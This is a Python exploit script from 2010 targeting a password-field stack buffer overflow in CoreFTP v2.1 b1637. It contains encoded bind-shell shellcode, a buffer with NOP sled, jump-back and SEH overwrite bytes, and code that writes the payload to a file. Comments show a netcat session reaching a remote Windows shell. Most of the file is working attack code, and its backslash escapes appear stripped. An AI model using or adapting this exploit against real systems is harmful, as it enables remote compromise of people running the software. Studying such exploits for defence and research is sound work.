coreftp.py.txt
Posted on 02 February 2010
#!/usr/bin/python # # Vulnerability : CoreFTP v2.1 b1637 (password field) Universal BOF exploit # Found by : mr_me (seeleymagic [at] hotmail [dot] com) # Coded by : mr_me & corelanc0d3r # Download from : http://www.coreftp.com/download.html # Tested on : XP SP3 En (VirtualBox) # Greetz to : corelanc0d3r, EdiStrosar, jnz, rick2600, ekse, MarkoT, sinn3r & Jacky from Corelan Team # Advisory : http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-007-coreftp-password-field-stack-buffer-overflow/ # # Thanks to Dr_IDE for pointing me to this app :) # Notes: This app was compiled with safeSEH, so a call dword did the trick ;) # If you manage to convince a user to input a 6000 length string as a password # then they deserve to be owned...! ;) # # Usage: Quick connect --> Advanced --> SSH --> password --> bind shell ;) # # mrme@backtrack:~$ nc -v 192.168.2.9 4444 # 192.168.2.9: inverse host lookup failed: Unknown server error : # Connection timed out # (UNKNOWN) [192.168.2.9] 4444 (?) open # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:PROGRA~1CoreFTP> # print "|------------------------------------------------------------------|" print "| __ __ |" print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |" print "| / ___/ __ / ___/ _ / / __ `/ __ / __/ _ / __ `/ __ `__ |" print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |" print "| |" print "| http://www.corelan.be:8800 |" print "| security@corelan.be |" print "| |" print "|-------------------------------------------------[ EIP Hunters ]--|" print "[+] CoreFTP v2.1 b1637 (password field) Universal BOF exploit" sc = ("xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e" "x4fx44x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x56x4bx58" "x4ex56x46x32x46x32x4bx38x45x44x4ex43x4bx58x4ex47" "x45x50x4ax57x41x50x4fx4ex4bx38x4fx34x4ax41x4bx58" "x4fx55x42x52x41x30x4bx4ex43x4ex42x53x49x54x4bx38" "x46x53x4bx58x41x30x50x4ex41x33x42x4cx49x39x4ex4a" "x46x58x42x4cx46x57x47x30x41x4cx4cx4cx4dx50x41x30" "x44x4cx4bx4ex46x4fx4bx33x46x55x46x42x4ax42x45x57" "x43x4ex4bx58x4fx55x46x52x41x50x4bx4ex48x36x4bx58" "x4ex50x4bx34x4bx48x4fx55x4ex41x41x30x4bx4ex43x30" "x4ex52x4bx48x49x38x4ex36x46x42x4ex41x41x56x43x4c" "x41x43x42x4cx46x46x4bx48x42x54x42x33x4bx58x42x44" "x4ex50x4bx38x42x47x4ex41x4dx4ax4bx48x42x54x4ax50" "x50x35x4ax46x50x58x50x44x50x50x4ex4ex42x35x4fx4f" "x48x4dx41x53x4bx4dx48x36x43x55x48x56x4ax36x43x33" "x44x33x4ax56x47x47x43x47x44x33x4fx55x46x55x4fx4f" "x42x4dx4ax56x4bx4cx4dx4ex4ex4fx4bx53x42x45x4fx4f" "x48x4dx4fx35x49x48x45x4ex48x56x41x48x4dx4ex4ax50" "x44x30x45x55x4cx46x44x50x4fx4fx42x4dx4ax36x49x4d" "x49x50x45x4fx4dx4ax47x55x4fx4fx48x4dx43x45x43x45" "x43x55x43x55x43x45x43x34x43x45x43x34x43x35x4fx4f" "x42x4dx48x56x4ax56x41x41x4ex35x48x36x43x35x49x38" "x41x4ex45x49x4ax46x46x4ax4cx51x42x57x47x4cx47x55" "x4fx4fx48x4dx4cx36x42x31x41x45x45x35x4fx4fx42x4d" "x4ax36x46x4ax4dx4ax50x42x49x4ex47x55x4fx4fx48x4d" "x43x35x45x35x4fx4fx42x4dx4ax36x45x4ex49x44x48x38" "x49x54x47x55x4fx4fx48x4dx42x55x46x35x46x45x45x35" "x4fx4fx42x4dx43x49x4ax56x47x4ex49x37x48x4cx49x37" "x47x45x4fx4fx48x4dx45x55x4fx4fx42x4dx48x36x4cx56" "x46x46x48x36x4ax46x43x56x4dx56x49x38x45x4ex4cx56" "x42x55x49x55x49x52x4ex4cx49x48x47x4ex4cx36x46x54" "x49x58x44x4ex41x43x42x4cx43x4fx4cx4ax50x4fx44x54" "x4dx32x50x4fx44x54x4ex52x43x49x4dx58x4cx47x4ax53" "x4bx4ax4bx4ax4bx4ax4ax46x44x57x50x4fx43x4bx48x51" "x4fx4fx45x57x46x54x4fx4fx48x4dx4bx45x47x35x44x35" "x41x35x41x55x41x35x4cx46x41x50x41x35x41x45x45x35" "x41x45x4fx4fx42x4dx4ax56x4dx4ax49x4dx45x30x50x4c" "x43x35x4fx4fx48x4dx4cx56x4fx4fx4fx4fx47x33x4fx4f" "x42x4dx4bx58x47x45x4ex4fx43x38x46x4cx46x36x4fx4f" "x48x4dx44x55x4fx4fx42x4dx4ax36x4fx4ex50x4cx42x4e" "x42x36x43x55x4fx4fx48x4dx4fx4fx42x4dx5a"); print "[+] Creating evil buffer string in overflowpassword.txt, ph33r" stuff = "x41" * 145 stuff += "x90" * 5 stuff += sc stuff += "x41" * (1008-len(stuff)-5) stuff += "xe9x7cxfcxffxff" # Lets fly stuff += "xebxf9x90x90" # Jump back stuff += "x0bx0bx27x00" # partial/null overwrite pwn = open('overflowpassword.txt','w'); pwn.write(stuff); pwn.close();
